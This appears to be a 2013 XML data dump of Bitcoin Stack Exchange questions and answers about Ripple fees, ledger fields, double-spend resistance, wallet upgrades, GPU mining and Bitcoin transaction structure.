  <row Id="10241" PostTypeId="1" AcceptedAnswerId="10303" CreationDate="2013-04-26T04:35:36.463" Score="4" ViewCount="322" Body="&lt;p&gt;What is the exact process by which the transaction fees are &quot;destroyed?&quot; Are they sent to a special account, or simply erased from the ledger?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-27T23:55:49.617" Title="How are Ripple transaction fees &quot;destroyed?&quot;" Tags="|ripple|transaction-fees|money-supply|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10242" PostTypeId="1" AcceptedAnswerId="10268" CreationDate="2013-04-26T04:44:50.887" Score="2" ViewCount="470" Body="&lt;p&gt;Just as there are USD IOUs, EUR IOUs, BTC IOUs, and so on, is it possible to have XRP IOUs in the system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, could XRP IOUs be used as transaction fees?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="153" LastEditDate="2013-04-26T08:34:23.230" LastActivityDate="2013-04-26T09:52:44.757" Title="With Ripple, is it possible to have XRP IOUs?" Tags="|ripple|ripple-transaction-fees|iou|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10244" PostTypeId="1" AcceptedAnswerId="10274" CreationDate="2013-04-26T04:51:54.333" Score="4" ViewCount="191" Body="&lt;p&gt;In addition to transaction fees, Ripple also has &lt;a href=&quot;https://ripple.com/wiki/Transit_Fees&quot; rel=&quot;nofollow&quot;&gt;transit fees&lt;/a&gt; when exchanging IOUs. Is it supposed to be common to pay transit fees, or is it for rare cases only? How much would the transit fees typically be?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-26T09:40:38.840" Title="Are transit fees supposed to be common in Ripple?" Tags="|ripple|ripple-transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10245" PostTypeId="1" AcceptedAnswerId="10270" CreationDate="2013-04-26T05:00:09.220" Score="2" ViewCount="96" Body="&lt;p&gt;In the spec for the &lt;a href=&quot;https://ripple.com/wiki/Ledger_Format&quot; rel=&quot;nofollow&quot;&gt;ledger format&lt;/a&gt;, there's something called &quot;Close Resolution&quot; in the header. It is described as &quot;the resolution (in seconds) of the close time.&quot; What does it mean, and what is its significance?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="153" LastEditDate="2013-04-26T08:33:11.553" LastActivityDate="2013-04-26T09:09:15.287" Title="With Ripple, what is &quot;Close Resolution?&quot;" Tags="|protocol|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10246" PostTypeId="1" AcceptedAnswerId="10271" CreationDate="2013-04-26T05:05:14.050" Score="2" ViewCount="114" Body="&lt;p&gt;In the spec for the &lt;a href=&quot;https://ripple.com/wiki/Ledger_Format&quot; rel=&quot;nofollow&quot;&gt;ledger format&lt;/a&gt;, there's a flag called &quot;lsfDisallowXRP&quot; in the account root entry. It says: &quot;Indicates that this account does not want to receive XRP.&quot; But why wouldn't an account want to receive XRP, given that it's necessary for doing any transactions?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="153" LastEditDate="2013-04-26T08:32:40.193" LastActivityDate="2013-04-26T09:13:33.850" Title="With Ripple, what is lsfDisallowXRP?" Tags="|protocol|ripple|" AnswerCount="1" CommentCount="0" ClosedDate="2020-06-05T15:54:37.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="10247" PostTypeId="1" CreationDate="2013-04-26T05:13:57.517" Score="1" ViewCount="127" Body="&lt;p&gt;In the spec for the &lt;a href=&quot;https://ripple.com/wiki/Ledger_Format&quot; rel=&quot;nofollow&quot;&gt;ledger format&lt;/a&gt; there's a field called &quot;Total XRP&quot; in the header. Is this the total number of XRPs in circulation? Does this value get decremented with each transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this value be incremented as well?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="153" LastEditDate="2013-04-26T08:32:13.380" LastActivityDate="2013-04-26T09:01:01.703" Title="In Ripple, what is &quot;Total XRP&quot; in the ledger header?" Tags="|protocol|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10249" PostTypeId="1" AcceptedAnswerId="10272" CreationDate="2013-04-26T05:28:34.567" Score="2" ViewCount="539" Body="&lt;p&gt;From the spec (emphasis added):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Under a net split, a ledger may be closed by the minority of network, &lt;strong&gt;this ledger may be discarded in the future&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does this mean it would be possible to spend twice, once on each side of the split?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the transaction is merely rejected later, you could trick a merchant into accepting your payment, then take delivery, and then let the network reject the transaction once the split is resolved. Is this correct? How would the minority of the nodes know that they're separated from the rest of the network?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-26T09:31:10.877" Title="Is it possible to execute a double-spending attack in Ripple during a network split?" Tags="|transactions|ripple|doublespend|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10251" PostTypeId="1" AcceptedAnswerId="10254" CreationDate="2013-04-26T05:51:31.477" Score="3" ViewCount="605" Body="&lt;p&gt;When A pays in USD but B receives EUR, how exactly does Ripple decide on the EUR/USD exchange rate?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastActivityDate="2013-04-26T06:35:38.810" Title="How does Ripple decide on the exchange rate between different currencies?" Tags="|transactions|ripple|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10252" PostTypeId="1" AcceptedAnswerId="10257" CreationDate="2013-04-26T06:24:11.370" Score="1" ViewCount="855" Body="&lt;p&gt;I am using Multibit 0.4.23 but would like to install Multibit 0.5.9.  How would I move my coins from my current wallet? Is this done automatically?&lt;/p&gt;&#xA;" OwnerUserId="4651" LastEditorUserId="196" LastEditDate="2013-04-26T06:36:18.110" LastActivityDate="2013-04-26T07:26:47.587" Title="Upgrading Multibit (without losing wallet)" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10253" PostTypeId="1" AcceptedAnswerId="10262" CreationDate="2013-04-26T06:30:45.720" Score="2" ViewCount="3989" Body="&lt;p&gt;How do I GPU mine with only one GPU, which I'm currently using for graphics? Does that require going headless? How do I go headless?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2016-04-02T09:09:36.323" LastActivityDate="2016-04-02T09:09:36.323" Title="Mining with one GPU" Tags="|miner-configuration|gpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10254" PostTypeId="2" ParentId="10251" CreationDate="2013-04-26T06:35:38.810" Score="3" Body="&lt;p&gt;Since Ripple has an integrated exchange, I guess it simply places market orders in its order book, trying to get the best overall price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find the order book in Advanced/Trade, if you want to try manually.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-26T06:35:38.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10255" PostTypeId="1" CreationDate="2013-04-26T06:40:56.850" Score="3" ViewCount="1926" Body="&lt;p&gt;I'm trying to close my account by withdrawing all my XRP into a new account. But the Ripple client insists on keeping a minimum balance of 50 XRP. How can I properly close this account?&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="196" LastEditDate="2013-04-26T07:36:18.160" LastActivityDate="2020-12-20T14:58:55.180" Title="How to withdraw all funds from a Ripple account?" Tags="|ripple|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10257" PostTypeId="2" ParentId="10252" CreationDate="2013-04-26T07:26:47.587" Score="1" Body="&lt;p&gt;Pretty much every single program allows you to upgrade it without losing data, and Multibit almost certainly isn't exception.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just upgrade it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you're worried, backup your wallet first.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-26T07:26:47.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10258" PostTypeId="2" ParentId="10255" CreationDate="2013-04-26T07:28:34.390" Score="2" Body="&lt;p&gt;You can't withdraw the deposit, just leave it as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove all trust and all offers to lower the minimum deposit.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-26T07:28:34.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10262" PostTypeId="2" ParentId="10253" CreationDate="2013-04-26T08:10:35.163" Score="2" Body="&lt;p&gt;I would recommend first checking this list to see what your expected hash rate will be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then see how much you will make from that rate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;http://www.alloscomp.com/bitcoin/calculator&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please factor in power consumption. After you have made a decision to mine armed with those facts, I'd join a mining pool and download GuiMiner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://guiminer.org/&quot; rel=&quot;nofollow&quot;&gt;http://guiminer.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mining.bitcoin.cz/&quot; rel=&quot;nofollow&quot;&gt;http://mining.bitcoin.cz/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool operator will be happy to address your questions on how to setup the mining client as you are making them money. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-26T08:10:35.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10263" PostTypeId="2" ParentId="10230" CreationDate="2013-04-26T08:41:45.837" Score="2" Body="&lt;p&gt;This was &lt;a href=&quot;http://bitcointalk.org/index.php?topic=100565.msg1100141#msg1100141&quot; rel=&quot;nofollow&quot;&gt;described&lt;/a&gt; as showing the difference between transaction fees and the bitcoin miners income from block rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if a Block has 25 BTC generated and 1 BTC of fees, the network deficit would be 24 BTC.  The amount in USDs is calculated at the spot rate at the time.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-26T08:41:45.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10264" PostTypeId="2" ParentId="7972" CreationDate="2013-04-26T08:49:10.850" Score="0" Body="&lt;p&gt;The raw transaction info includes the Unspent Transaction Out (UTXO) which is the link to each of the components of the spend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/rawtx/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/rawtx/&lt;/a&gt;$tx_index&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-26T08:49:10.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10265" PostTypeId="1" CreationDate="2013-04-26T08:53:16.837" Score="0" ViewCount="710" Body="&lt;p&gt;I am using PHP cURL to generate new address from coinbase. As per this &lt;a href=&quot;https://coinbase.com/docs/merchant_tools/callbacks&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; we get notification on the callback url when any transaction is made on the generated address. But I am not getting any callback from coinbase when I receive any payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to achieve the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate a bitcoin address&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Store the the generated address &amp;amp; the amount with it's user who paid it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am facing the problem in getting callback. I get payment in the coinbase &amp;amp; email saying that you received this amount etc., but no callbacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also please suggest me that whether the coinbase is secure or not.&#xA;If not, what should I go for? I want to get the above things done.&lt;/p&gt;&#xA;" OwnerUserId="4065" LastEditorUserId="132" LastEditDate="2013-04-26T12:28:57.000" LastActivityDate="2013-08-20T06:23:08.620" Title="Why coinbase doesn't address callback?" Tags="|client|blockchain.info|coinbase.com|payment-processors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10267" PostTypeId="2" ParentId="10247" CreationDate="2013-04-26T09:01:01.703" Score="1" Body="&lt;p&gt;This is the total amount of XRP in the ledger. It is decremented with each transaction that pays a fee (which is all of them except for a few special transactions). There is no way it can be incremented.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-26T09:01:01.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10268" PostTypeId="2" ParentId="10242" CreationDate="2013-04-26T09:04:11.250" Score="3" Body="&lt;p&gt;We debated how to handle XRP IOUs during the design. Ultimately, we decided not to have any official support of them because of the potential for user confusion. However, we did reserve the currency name &quot;XRR&quot; for IOUs denominated in XRPs. There is no built in mechanism to pay them off with XRPs, but it's not difficult to place a 1-to-1 exchange offer. Such functionality might be added in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also debated allowing IOUs to pay transaction fees directly, rather than having to first exchange them for XRP. We couldn't see any advantage and there are some significant disadvantages in addition to the added complexity. The big one is the exchange rate might change such that the transaction can't claim a fee and we wouldn't discover that until the transaction was processed. There was a fear someone could bombard the network with such transactions and cause high load at no cost. Instead, we decided to try to keep transaction fees so low that there would be no reason to care.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-26T09:52:44.757" LastActivityDate="2013-04-26T09:52:44.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10269" PostTypeId="2" ParentId="10238" CreationDate="2013-04-26T09:05:50.460" Score="2" Body="&lt;p&gt;The base fee is contained in the ledger and can only be changed by a pseudo-transaction that gets into the consensus set. It's managed by consensus the same way the reserve levels are.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-26T09:05:50.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10270" PostTypeId="2" ParentId="10245" CreationDate="2013-04-26T09:09:15.287" Score="2" Body="&lt;p&gt;Ledgers do include a close time because it is expected that contracts will be able to support things that can &quot;expire&quot; such as escrow. However, validators might see a ledger close at very slightly different times owing to their slightly different network views and errors in their clocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve this, Ripple uses a close time resolution. Validators announce the close time they actually saw to help their clocks stay in synch, but they only try to reach a consensus on the rounded close time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If validators ever fail to reach a consensus on the close time (and this has happened a few times), they agree to disagree, indicate this in the ledger, mark a close time one second greater than the previous ledger, and (if it keeps happening) raise the close time resolution to make it more likely they'll agree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If validators consistently do agree on the close time and the close time resolution hasn't reached the minimum (10 seconds, I believe) it will decrease until it reaches that minimum.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-26T09:09:15.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10271" PostTypeId="2" ParentId="10246" CreationDate="2013-04-26T09:13:33.850" Score="3" Body="&lt;p&gt;This was created specifically to resolve a problem Bitstamp was having. Though there is absolutely no reason to send XRP to Bitstamp, people were constantly doing that. Bitsamp had to either steal the XRP or refund it. Obviously, they wanted to refund it. But this would drain their hot wallet of XRP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve this, we're in the process of adding the flag you mentioned, &quot;lsfDisallowXRP&quot;. If the flag is set, the client will not let you send XRP to the account that has set it. Bitstamp would then set this flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitstamp can still put XRP in the account to fund its transactions by simply ignoring the flag. We may also add a way to override the flag in the client, possibly by putting a special marker at the end of the address or possibly with a button.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-26T09:13:33.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10272" PostTypeId="2" ParentId="10249" CreationDate="2013-04-26T09:25:24.447" Score="3" Body="&lt;p&gt;Ripple should be immune to this attack because a transaction is not considered validated until an overwhelming majority of validators (that you care about) have signed a receipt saying that they have processed it (by validating a ledger that includes it either in that ledger or in one of its prior ledgers). If the network had split, you could not receive receipts from an overwhelming majority of validators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple servers have an internal &quot;gate&quot;. They continue to track the network, try to reach a consensus, sign validations, and so on. But they don't report transactions as confirmed to clients until they pass this internal gate. To pass the gate, a ledger must have sufficient validations from trusted sources. Once a ledger meets that threshold, the gate is advanced to just past that ledger and everything up to that new point is considered fully validated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything after the gate is in flux, subject to consensus with other validators. Everything behind the gate is forever committed. The overwhelming majority of validators have committed to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are on the minority side of a split (or even the slight majority side of a bad split), no transactions will pass the gate. The network will be unusable, but nobody will rely on a transaction that gets undone when a split is resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In exchange for immunity to this attack and in exchange for Ripple's fast confirmations with no proof of work needed, a price is paid. One can imagine situations where transactions might fail to pass the gate even though there's no network split. For example, if a large number of validators suddenly stop validating all at the same time, you might think you're split off from them, and manual intervention might be needed to permit any transactions to pass the gate.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-26T09:31:10.877" LastActivityDate="2013-04-26T09:31:10.877" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="10273" PostTypeId="2" ParentId="10229" CreationDate="2013-04-26T09:28:05.157" Score="0" Body="&lt;p&gt;Bitcoin is simply a ledger of value assignment transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a special assignment when the coins are first issued to a miner.   But from there, the ledger is simply a compilation of all transactions, each of which is simply a value assignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar to how you don't rip a $10 bill in half to pay for a $5 purchase, spending funds received is an all or nothing action -- the entire transaction amount received is spent during a transaction.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a bitcoin transaction the transaction whose funds are being spent is referenced as an INPUT and the entire amount of funds from that previous transaction's OUTPUT become available for spending to one or more of this transaction's OUTPUTs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a typical transaction will have one more INPUTs and one or more OUTPUTs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's take a simple transaction.  Previously the bitcoin address 15P8RCnL8oMjRf1RFrAZHJyYtxypdGp6wY received a payment of 0.022 BTC.  The transaction ID in which that payment occurred is &lt;a href=&quot;http://blockchain.info/tx/4faa9d17c458afdf3ae928b51f1088fbe314b6866a35ad60fa7d861bc311be05&quot; rel=&quot;nofollow&quot;&gt;4faa9d17c458afdf3ae928b51f1088fbe314b6866a35ad60fa7d861bc311be05&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now to spend those funds, a new transaction must be composed.  So the value from the earlier transaction 4faa9d17c458afdf3ae928b51f1088fbe314b6866a35ad60fa7d861bc311be05 will be spent.  That transaction had multiple outputs however.  So this spend transaction must reference which output from the previous transaction is being spent.   In this case, the index is 0 (meaning the first output of that earlier transactoin) is the one being spent.  That output is for the 0.022 BTC to 15P8RCnL8oMjRf1RFrAZHJyYtxypdGp6wY.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the combination of a transaction Id + index is how the current spend transaction references where the funds are coming from.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-26T09:28:05.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10274" PostTypeId="2" ParentId="10244" CreationDate="2013-04-26T09:40:38.840" Score="3" Body="&lt;p&gt;For now, gateways are using transit fees as their primary revenue source. Bitstamp currently charges 0.2% and that's pretty typical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We hope that those fees will go down over time for two reasons. First, competition and increased volume should bring the fees down. Second, when interest rates start to rise to more historically normal levels, gateways can use the interest on money they hold as a revenue source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've been asked to have a &quot;transit fee cap&quot; so a single transaction can't have a transit fee above a limit regardless of transaction size. And we've been asked to have a &quot;fee exempt&quot; flag so gateways can exempt particular accounts from paying transaction fees (perhaps in exchange for a monthly fee). These changes are under active consideration. For technical reasons, they're not as easy to implement as they might seem.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-26T09:40:38.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10275" PostTypeId="2" ParentId="9701" CreationDate="2013-04-26T09:50:08.050" Score="4" Body="&lt;p&gt;It is designed to be highly scalable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offers are aggregated with others offers of the same currency pair in the same direction of the same quality (rate). The ledger has a &quot;next index&quot; operation and offers are indexed by quality, so finding the best offer in an order book is as simple as computing the index for the base of the order book and looking at the next ledger entry.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-26T09:50:08.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10276" PostTypeId="2" ParentId="9279" CreationDate="2013-04-26T09:57:51.847" Score="3" Body="&lt;p&gt;There are two separate issues. One is initial synchronization assuming you don't know anything. The other is how servers advance the ledger in synch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For initial synch, you monitor the network and watch for signed validations from validators you trust. You check the timestamp on them and if they are current, you can then begin tracking the ledger chain. Once you know what they are claiming the current ledger is, you can fetch any data you're missing, walk the hash chains and transactions, and convince yourself that the ledger they are claiming is valid is in fact justified by the transactions attached to it and that it hooks up to your last ledger, if you have one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are in synch, you can participate in the consensus process. You will see live transactions relayed, you will see proposed transaction sets, you can send your own proposals. When you see a consensus on a transaction set, you apply it to the last ledger, and you then have the next ledger. You can then sign it and send a validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual timing of the ledger close is a bit complicated. If there are no transactions, a ledger will typically close every 20 seconds. If there are any unconfirmed transactions, the ledger will close two seconds after it opened and the network will try to form a consensus on them. This two seconds gives nodes a chance to finish processing the previous ledger before they need to start processing the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual synchronization occurs using a sophisticated delta algorithm. The ledger is a tree so if a branch hasn't changed, you will discover that without having to traverse that branch. Ledger nodes that you need can be fetched from the network and servers will also predictively return nodes they think you will need based on the nodes you said you did need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For initial fetching of large amounts of history, the server can request a &quot;fetch pack&quot; from any server that has the history. This contains those ledger nodes the server knows are unique to that particular ledger and help to reduce the number of queries needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All validated transactions, all ledgers, and all states the network has ever had form a giant hash tree. Once you know the hash of the current ledger, you can walk the hash tree to find any of those things securely and provably. Validations are not in this hash chain though. They are stored separately and individually signed.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-26T18:59:11.697" LastActivityDate="2013-04-26T18:59:11.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10277" PostTypeId="2" ParentId="10228" CreationDate="2013-04-26T10:10:15.490" Score="4" Body="&lt;p&gt;The root account is the account that owns the XRP in the initial ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ACCOUNT_ZERO is an account whose 160-bit identifier is zero. When dealing with a currency/issuer pair, ACCOUNT_ZERO is used as both the currency and the issuer to indicate XRP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ACCOUNT_ONE is an account whose 160-bit identifier is one. ACCOUNT_ONE is used in cases where no account is applicable but the currency is not XRP. For example, in a ripple balance node between two accounts, the &quot;balance&quot; belongs equally to both accounts and is really a property of the two of them. It has an issuer of ACCOUNT_ONE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ACCOUNT_ONE is also sometimes used as a flag in internal arithmetic operations to indicate that non-XRP semantics are desired. XRP amounts are stored as integer drops (millionths of an XRP) while other currency's amounts are stored in exponential notation. Sometimes an amount isn't in any particular currency (for example, when outputs and inputs are divided to compute an offer's quality). To indicate non-XRP semantics without having a valid currency, ACCOUNT_ONE is used. It essentially means &quot;not XRP&quot;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-26T19:02:22.813" LastActivityDate="2013-04-26T19:02:22.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10279" PostTypeId="1" AcceptedAnswerId="10314" CreationDate="2013-04-26T12:25:41.353" Score="8" ViewCount="4652" Body="&lt;p&gt;I'm reading through Satoshi's paper, and in &lt;em&gt;Section 2. Transactions&lt;/em&gt;, he starts by saying:&lt;/p&gt;&#xA;&lt;p&gt;We define an electronic coin as a chain of digital signatures. Each owner transfers the coin to the next by digitally signing a hash of the previous transaction and the public key of the next owner and adding these to the end of the coin. A payee can verify the signatures to verify the chain of ownership.&lt;/p&gt;&#xA;&lt;p&gt;Then there is a good diagram that shows this in the paper&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HUZQ2.jpg&quot; alt=&quot;Satoshi bitcoin paper Oct 2008, Section 2&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, effectively if BTC0 is the previous transaction, the new transaction is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Kp(Owner1)&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;hash&lt;/em&gt; := H(BTC0,Kp(Owner1))&lt;/p&gt;&#xA;&lt;p&gt;S(&lt;em&gt;hash&lt;/em&gt;,Ks(Owner0))&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;where&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Kp(Owner1) is the public key fo the recipient (Owner1)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;hash&lt;/em&gt; := H(BTC0,Kp(Owner1)) is the Hash of the prev transaction together with the pub key of the recipient&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;S(&lt;em&gt;hash&lt;/em&gt;,Ks(Owner0)) is the previously computed hash, signed with the private key sender (Owner0)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I have a  couple of questions:&lt;/p&gt;&#xA;&lt;p&gt;Here I've indicated the 'previous transaction' is BTC0- is this the previous transaction for that Coin, or the previous transaction on the chain? Danielle Drainville suggests it is &amp;quot;the previous transaction in which this coin was used is hashed together with the recipient's public key&amp;quot; in her paper (&lt;a href=&quot;https://math.uwaterloo.ca/combinatorics-and-optimization/sites/ca.combinatorics-and-optimization/files/uploads/files/Drainville,%20Danielle.pdf&quot; rel=&quot;noreferrer&quot;&gt;An Analysis of the Bitcoin Electronic Cash System&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;If so, there must be some kind of search for the previous transaction first?&lt;/p&gt;&#xA;&lt;p&gt;And, if I understand correctly, there are no 'Coins' in your wallet...the wallet stores the Block Chain, that is, the Transactions log, and your pub/pri key(s). When you're wallet displays to you, the number of bitcoins 'in' it, its actually the result of a search of the Block Chain?&lt;/p&gt;&#xA;" OwnerUserId="3561" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2018-04-03T05:44:19.097" Title="Explainations about chaining of transactions" Tags="|transactions|blockchain|hash|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10280" PostTypeId="2" ParentId="121" CreationDate="2013-04-26T12:59:33.027" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.crypto.st&quot; rel=&quot;nofollow&quot;&gt;CryptoStreet&lt;/a&gt; will allow exactly that. (disclaimer: I'm one of the owners). We will hold funds at the various exchanges and you hold funds with us. That'll allow you near instant trades across various exchanges and enjoy arbitrage&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-04-26T12:59:33.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
